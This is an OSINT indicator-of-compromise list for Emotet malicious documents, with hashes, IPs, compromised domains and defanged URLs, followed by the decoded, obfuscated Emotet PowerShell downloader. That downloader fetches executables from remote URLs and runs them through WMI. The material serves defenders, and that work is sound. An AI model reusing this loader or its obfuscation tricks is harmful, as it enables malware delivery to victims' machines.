Emotet_Doc_out_2020-07-22_22_20.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

3b4b1f28ebb4a0752976831ef8bf26f95eb678966099e67564bba5346d3e819a
a2ae0108449a09a9c0ea223513a35f91f19c10576933a76bb5efb2fd9bf66c2c
31f2efffc02e6ee0f8a7339acbb1eb5aa9faa94b66709417b22f4c2fbc77e7d2
2470904108d3cb108081236a7a6830e2e01a33dace97a3cde1dcc32081825a2f
bad24883a18a1f3c06bba5f7a1aa27d186d144d1668399b18035bc8ec0f475c4
a96c7d970e61e482aedaeede23707ff2c787768d50927f170c88ee6178087ce8
b6177d93ae0f58a2e55da4c6b6da02257bf811c39a6bb63965a4c14aef831b1e
150a88b5563c954af14fe5765edc790b73360e570b2a163a7930c0253e10d9e2
e24781d692aa36149a204bf4079cb1c4374a198d1a63989feb11a58cf9556e0a
5242e055b3674ea4bd919e8c47a2bac0dc893708f81a2e2f5be4c599b3340382
0d895a5a7951e8f0351b7b4c4211ea43fc13762d58577ab7dcc053364726bae6
7e7e75fec5d5bd9b69cbfb52d1e834fc42513f5e6a7fec4d0079d45a53962c93
e6aa12a56ab071634a95c9a203396dbb2d1a7ebd96c326c556a2af246fa6e465
6a626b3dd82f665989af8ca643fe6ec5186e5263c73e45853c5fc07d6c6511d5
c679cbf4789858c4174ded28c07918735578c6f842fb0b875ade71eedb6afd9f
891720d72fd445856bd0651bafd3d0780b209d1ba975ee7cc4ff2af493b0381a
ebf8a9a8c38f94a2fbf651cb07ad59f7f6be921f637492b72d966c0ba1b359a8
60038a54f5c28cc8950160f10a0fce322ccc75d191b3eeb17237d478eba4f0ad
5966dbc11d924231b5d148a1a821154f88e469adcb6e884d4dd5102c9e598e9f
0ea7fdc81108e27619be4be80f72b1617b8b09024f597aea4f8c1c7165186b42
98838ac3371620d27bb1934833850cb50098197f8f45a137d1ba94ebb92104af
98d8b98bd54ffaf58b4138432af87d23d2ae108878d2778b22625ff04317237d
027cf34a6a8fff410f854e0f3ff8d251e2d36e744f08b60df6c0b6dc5e9dd5be


IPs:
104.18.58.150
104.18.59.150
107.180.46.202
142.4.4.224
146.88.237.32
172.67.188.67
182.50.135.107
185.162.227.59
196.41.122.224
23.88.246.103
45.63.57.231
49.234.191.119

Domains:

bucksngems.comhttps://pastebin.com/J8BA2M7N
chestersvideobar.com
paula.strategicwebmarketingmd.com
sigmanled.com
theprizeguys.uk
wiki-lspd.xyz
www.coworkanytime.com
www.suprshoes.com
xavierlin.com
xiaodaji.com


hxxp://www.suprshoes.com/wp-includes/qf1/
hxxp://theprizeguys.uk/test/1iu9sk/
hxxps://xavierlin.com/wp-includes/ojyqm/
hxxp://wiki-lspd.xyz/cgi-bin/bi3ygxO/
hxxps://sigmanled.com/9ij4nd/q5n3yt/
hxxp://chestersvideobar.com/blogs/w0x0lEZ/
hxxp://paula.strategicwebmarketingmd.com/wp-admin/rdi3505/
hxxps://bucksngems.com/bucksn0/r96270/
hxxp://xiaodaji.com/wp-includes/ID3/DeQFPrxR/
hxxp://www.coworkanytime.com/wp-content/uploads/DZIizOT/


Decoded Base64 Powershell:
$hainyouhtien='quaoqusioqufumjuj';
[Net.ServicePointManager]::"SE`cuRItYp`ROT`oC`ol" = 'tls12, tls11, tls';
$moimxeij = '833';
$gaiquvuquciel='mierquixfioyweeg';
$jiktheercienrooch=$env:userprofile+'\'+$moimxeij+'.exe';
$lotnesmoedpieh='miocchaszorcheic';
$fuuxyajyad=&('new-'+'ob'+'jec'+'t') NET.WEbClIEnt;
$neowcauz='hxxp://www.suprshoes.com/wp-includes/qf1/
hxxp://theprizeguys.uk/test/1iu9sk/
hxxps://xavierlin.com/wp-includes/ojyqm/
hxxp://wiki-lspd.xyz/cgi-bin/bi3ygxO/
hxxps://sigmanled.com/9ij4nd/q5n3yt/'."s`PLIT"([char]42);
$daufvioschaoch='cuaxkixdoingaix';
foreach($loelvoelzic in $neowcauz){try{$fuuxyajyad."D`ow`NloAdFILe"($loelvoelzic, $jiktheercienrooch);
$xoijxuuj='vasdinboug';
If ((&('Get-It'+'e'+'m') $jiktheercienrooch)."LE`N`Gth" -ge 24834) {([wmiclass]'win32_Process')."cRE`A`TE"($jiktheercienrooch);
$lotnierfiel='yoiswof';
break;
$wumzaijvail='jeagyaumhaen'}}catch{}}$juzgouj='quoepgam'$hiryoolquad='noogpuan';
[Net.ServicePointManager]::"sEc`UR`ityPR`Otoc`Ol" = 'tls12, tls11, tls';
$toiwthaz = '606';
$ruhguuvyeic='veeltowlaey';
$xemzoohseammuup=$env:userprofile+'\'+$toiwthaz+'.exe';
$chaisduup='sexbaed';
$nouququoisjien=.('ne'+'w-obje'+'ct') NEt.WeBcLIENT;
$juhhoathmauv='hxxp://chestersvideobar.com/blogs/w0x0lEZ/
hxxp://paula.strategicwebmarketingmd.com/wp-admin/rdi3505/
hxxps://bucksngems.com/bucksn0/r96270/
hxxp://xiaodaji.com/wp-includes/ID3/DeQFPrxR/
hxxp://www.coworkanytime.com/wp-content/uploads/DZIizOT/'."SP`Lit"([char]42);
$goigkuudlioqu='quathvoohmauqulies';
foreach($daocdeajquaok in $juhhoathmauv){try{$nouququoisjien."DOwNL`o`AdFi`Le"($daocdeajquaok, $xemzoohseammuup);
$ceuhtiohthaurgeom='fojsoejjoc';
If ((.('Get'+'-Ite'+'m') $xemzoohseammuup)."Le`NgTh" -ge 23739) {([wmiclass]'win32_Process')."c`ReATE"($xemzoohseammuup);
$cujgeaytoan='wabwed';
break;
$koohcaiwthin='xoepxientoec'}}catch{}}$huchualnoucroeb='lavpiekxes'